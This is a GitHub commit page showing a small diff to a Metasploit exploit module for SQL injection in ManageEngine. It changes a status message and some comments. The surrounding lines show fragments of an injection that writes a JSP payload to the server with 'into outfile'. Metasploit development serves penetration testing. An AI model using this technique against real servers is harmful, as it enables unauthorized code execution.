Skip to content

Commit 8eb790f

Browse files
committed
Final touchup
1 parent f9bb910 commit 8eb790f

File tree

1 file changed

+2
-4
lines changed

1 file changed

+2
-4
lines changed

modules/exploits/multi/http/manageengine_search_sqli.rb

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -241,7 +241,7 @@ def inject_exec(out)
241241
sqli << (2..28).map {|e| e} * ","
242242
sqli << " into outfile \"#{out}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
243243

244-
print_status("#{rhost}:#{rport} - Sending JSP payload")
244+
print_status("#{rhost}:#{rport} - Trying SQL injection...")
245245
sqli_exec(sqli)
246246

247247
fname = "/#{File.basename(out)}"
@@ -252,10 +252,8 @@ def inject_exec(out)
252252
end
253253

254254

255-
#
256-
# The server must start first, and then we send the malicious requests
257-
#
258255
def exploit
256+
# This is used to collect files we want to delete later
259257
@clean_ups = []
260258

261259
@my_target = pick_target

0 commit comments

Comments
 (0)